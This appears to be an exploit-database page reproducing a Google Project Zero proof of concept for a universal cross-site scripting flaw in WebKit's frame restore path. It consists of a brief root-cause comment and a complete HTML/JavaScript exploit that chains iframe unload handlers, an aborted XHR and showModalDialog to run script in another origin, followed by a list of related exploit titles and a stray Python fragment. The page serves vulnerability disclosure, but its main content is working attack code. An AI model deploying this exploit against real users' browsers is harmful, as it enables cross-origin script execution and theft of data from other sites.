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"WebKit - 'CachedFrameBase::restore' Universal Cross-Site Scripting"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

multiple

Release date

Exploit published date

2017-06-01

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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1197

This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151.
But this time, javascript handlers may be fired in FrameLoader::open.

void FrameLoader::open(CachedFrameBase& cachedFrame)
{
	...
    clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
    ...
}

PoC:
-->

<html>
<body>
Click anywhere...
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

window.onclick = () => {
	window.w = open('about:blank', 'w', 'width=500, height=500');

	let i0 = w.document.body.appendChild(document.createElement('iframe'));
	let i1 = w.document.body.appendChild(document.createElement('iframe'));
	i0.contentWindow.onbeforeunload = () => {
		i0.contentWindow.onbeforeunload = null;

		navigate(w, 'about:blank');
	};

	navigate(i0.contentWindow, createURL(`
<body>
<script>
</scrip` + 't></body>'));

	setTimeout(() => {
		let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
		let x = new g.contentWindow.XMLHttpRequest();
		x.onabort = () => {
			parseFloat('axfasdfasfdsfasfsfasdf');
			i0.contentDocument.write();

	        navigate(w, 'https://abc.xyz/');

	        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
	try {
	    opener.w.document.x;
	} catch (e) {
	    clearInterval(it);
	    window.close();
	}
}, 10);
</scrip` + 't>'));

	        setTimeout(() => {
		        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
		        navigate(i1.contentWindow, 'about:srcdoc');
	        }, 10);
		};

		x.open('GET', createURL('x'.repeat(0x1000000)));
		x.send();
		w.history.go(-2);
	}, 200);
};

</script>
</body>
</html>
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2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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